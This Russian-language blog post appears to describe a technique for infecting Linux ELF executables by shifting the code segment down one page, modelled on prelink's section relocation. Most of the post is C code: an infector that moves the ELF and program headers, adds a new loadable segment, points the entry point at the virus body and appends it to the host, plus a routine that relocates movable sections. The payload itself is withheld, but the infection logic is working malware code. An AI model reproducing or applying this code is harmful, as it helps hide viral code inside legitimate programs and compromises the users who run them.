Принцип «Работает — не трогай!» называют иногда «золотым правилом». Только вот беда, это «золотое» правило возвращает нас в бронзовый век. Если метод прост, надёжен и используется десяток лет, то никто и не пытается его улучшить. Пока не придёт кто-нибудь с непрокомпостированными мозгами, например Якуб Желинек. В начале сам допёр, разглядывая бинари, а потом сообразил, что именно так и работает prelink.
Метод, о котором идёт речь — это расширение кодового сегмента «вниз»:
В памяти До После
8047000 - - - - - - - - - - - -+-----------+ - -
| EHDR |
8048000 +-----------+ - - - - -| PHDR - - | - -
| ELF | entry -> | virus |
| PHDR | | |
| .interp | _ _ _ _ _| .interp | _ _
: : : :
| | | |
entry ->| .text | | .text |
| | | |
+-----------+ +-----------+
| | | |
| .data | | .data |
| | | |
+-----------+ +-----------+
То есть, содержимое файла сдвигается на одну страницу от начала, затем вирус перемещает заголовок ELF и таблицу сегментов (чтобы освободившееся место не фрагментировалось) в новое начало файла и исправляет смещения в таблице секций (если не лень); размер (+ 4096) и адрес (- 4096) кодового сегмента. Казалось бы, ну что ещё тут можно сделать? А вот что.
Большая часть секций, расположенных в начале read-only сегмента, перемещаемые. Вирус в файле может располагаться не только после таблицы сегментов, но, к примеру после .hash или .dynstr. Сдвинуть можно (prelink/src/space.c, readonly_is_movable()) .interp, .note.ABI-tag, .hash, .dynsym, .gnu.version, .gnu.version_r, .rel(a).*. А так же .dynstr и (с минимальными услилиями по исправлению кода) .plt и .init. Кроме того сдвинуть можно PHT. Короче, вирус может хранить свою тушку в любом месте между концом EHDR и началом .text.
Ушел рисовать PoC
upd. можно смело добавлять новые записи в PHT:
for (i = 0; i < ehdr->e_phnum; i++)
/* find read-only segment */
if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0) {
MAKE_HOLE(0, 4096);
/* copy ELF header */
memmove(m, m + 4096, sizeof(Elf32_Ehdr));
ehdr = (Elf32_Ehdr*)m;
/* copy PHDRs */
memmove(m + sizeof(Elf32_Ehdr),
m + 4096 + ehdr->e_phoff,
ehdr->e_phnum * sizeof(Elf32_Phdr));
ehdr->e_phoff = sizeof(Elf32_Ehdr);
phdr = (Elf32_Phdr*)(m + ehdr->e_phoff);
/* fix reference to section table */
ehdr->e_shoff += 4096;
shdr = (Elf32_Shdr*)(m + ehdr->e_shoff);
/* adjust text segment */
phdr[i].p_vaddr -= 4096;
phdr[i].p_filesz += 4096;
phdr[i].p_memsz += 4096;
uint32_t u = phdr[i].p_vaddr;
/* fix PHT */
for (i = 0; i < ehdr->e_phnum; i++)
if (phdr[i].p_type == PT_PHDR) {
phdr[i].p_offset = sizeof(Elf32_Ehdr);
phdr[i].p_vaddr =
phdr[i].p_paddr = u + sizeof(Elf32_Ehdr);
} else if (phdr[i].p_offset > 0)
phdr[i].p_offset += 4096;
/* fix SHT */
for (i = 1; i < ehdr->e_shnum; i++)
if (shdr[i].sh_offset)
shdr[i].sh_offset += 4096;
i = ehdr->e_phnum;
/* add new segment table entry */
phdr[i].p_type = PT_LOAD;
phdr[i].p_offset = l;
phdr[i].p_vaddr = phdr[i].p_paddr = u - 4096 + (l & 0xfff);
phdr[i].p_filesz = g->size;
phdr[i].p_memsz = g->size;
phdr[i].p_flags = PF_R | PF_X;
phdr[i].p_align = 0x1000;
/* set the entry point */
ehdr->e_entry = phdr[i].p_vaddr;
ehdr->e_phnum++;
u = old_entry - phdr[i].p_vaddr - 12;
/* clean the grabage */
for (i = (char*)&phdr[ehdr->e_phnum] - m;
i < shdr[1].sh_offset; i++)
m[i] = 0;
/* write the virus body */
lseek(h, 0, 2);
write(h, g->self, g->size);
pwrite(h, &u, 4, l + 8, 0);
break;
}
upd готово. код самого вируса приводить не буду, только код "раздвигающий секции":
uint32_t u, t, x, j;
for (i = 0; i < ehdr->e_phnum; i++)
if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0)
break;
if (i == ehdr->e_phnum)
goto badluck;
MAKE_HOLE(0, 4096);
memmove(m, m + 4096, sizeof(Elf32_Ehdr));
ehdr = (Elf32_Ehdr*)m;
memmove(m + sizeof(Elf32_Ehdr),
m + 4096 + ehdr->e_phoff,
ehdr->e_phnum * sizeof(Elf32_Phdr));
ehdr->e_phoff = sizeof(Elf32_Ehdr);
phdr = (Elf32_Phdr*)(m + ehdr->e_phoff);
ehdr->e_shoff += 4096;
shdr = (Elf32_Shdr*)(m + ehdr->e_shoff);
phdr[i].p_vaddr -= 4096;
phdr[i].p_filesz += 4096;
phdr[i].p_memsz += 4096;
u = phdr[i].p_vaddr;
Elf32_Dyn *dyn = NULL;
for (x = 0, i = 0; i < ehdr->e_phnum; i++) {
if (phdr[i].p_type == PT_PHDR) {
phdr[i].p_offset = sizeof(Elf32_Ehdr);
phdr[i].p_vaddr =
phdr[i].p_paddr = u + sizeof(Elf32_Ehdr);
} else
if (phdr[i].p_offset > 0)
phdr[i].p_offset += 4096;
if (phdr[i].p_type == PT_INTERP)
x = phdr[i].p_vaddr;
if (phdr[i].p_type == PT_DYNAMIC)
dyn = (Elf32_Dyn*)(m + phdr[i].p_offset);
}
for (t = 0, i = 1; i < ehdr->e_shnum; i++) {
if ( t == 0 && x != 0 &&
shdr[i].sh_addr != x &&
shdr[i].sh_type != SHT_HASH &&
shdr[i].sh_type != SHT_DYNSYM &&
shdr[i].sh_type != SHT_REL &&
shdr[i].sh_type != SHT_RELA &&
shdr[i].sh_type != SHT_STRTAB &&
shdr[i].sh_type != SHT_NOTE &&
shdr[i].sh_type != SHT_GNU_verdef &&
shdr[i].sh_type != SHT_GNU_verneed &&
shdr[i].sh_type != SHT_GNU_versym &&
shdr[i].sh_type != SHT_GNU_LIBLIST )
t = i;
if (shdr[i].sh_offset)
shdr[i].sh_offset += 4096;
}
x = (char*)&phdr[ehdr->e_phnum] - m;
for (i = x; i < shdr[1].sh_offset; i++)
m[i] = 0xaa;
if (dyn == NULL)
goto badluck;
/* move sections */
for (i = 1; i < t; i++) {
putc('.');
memmove(m + x, m + shdr[i].sh_offset, shdr[i].sh_size);
// bzero(m + shdr[i].sh_offset, shdr[i].sh_size);
for (j = 0; j < ehdr->e_phnum; j++)
if (phdr[j].p_offset == shdr[i].sh_offset) {
phdr[j].p_offset = x;
phdr[j].p_vaddr = phdr[j].p_paddr = u + x;
break;
}
for (j = 0; dyn[j].d_tag != DT_NULL; j++)
if (dyn[j].d_un.d_val == shdr[i].sh_addr) {
dyn[j].d_un.d_val = u + x;
}
shdr[i].sh_offset = x;
shdr[i].sh_addr = u + x;
x += shdr[i].sh_size + 128;
}
Картинка (промежутки залиты 0xaa, а не нулями. для наглядности):
|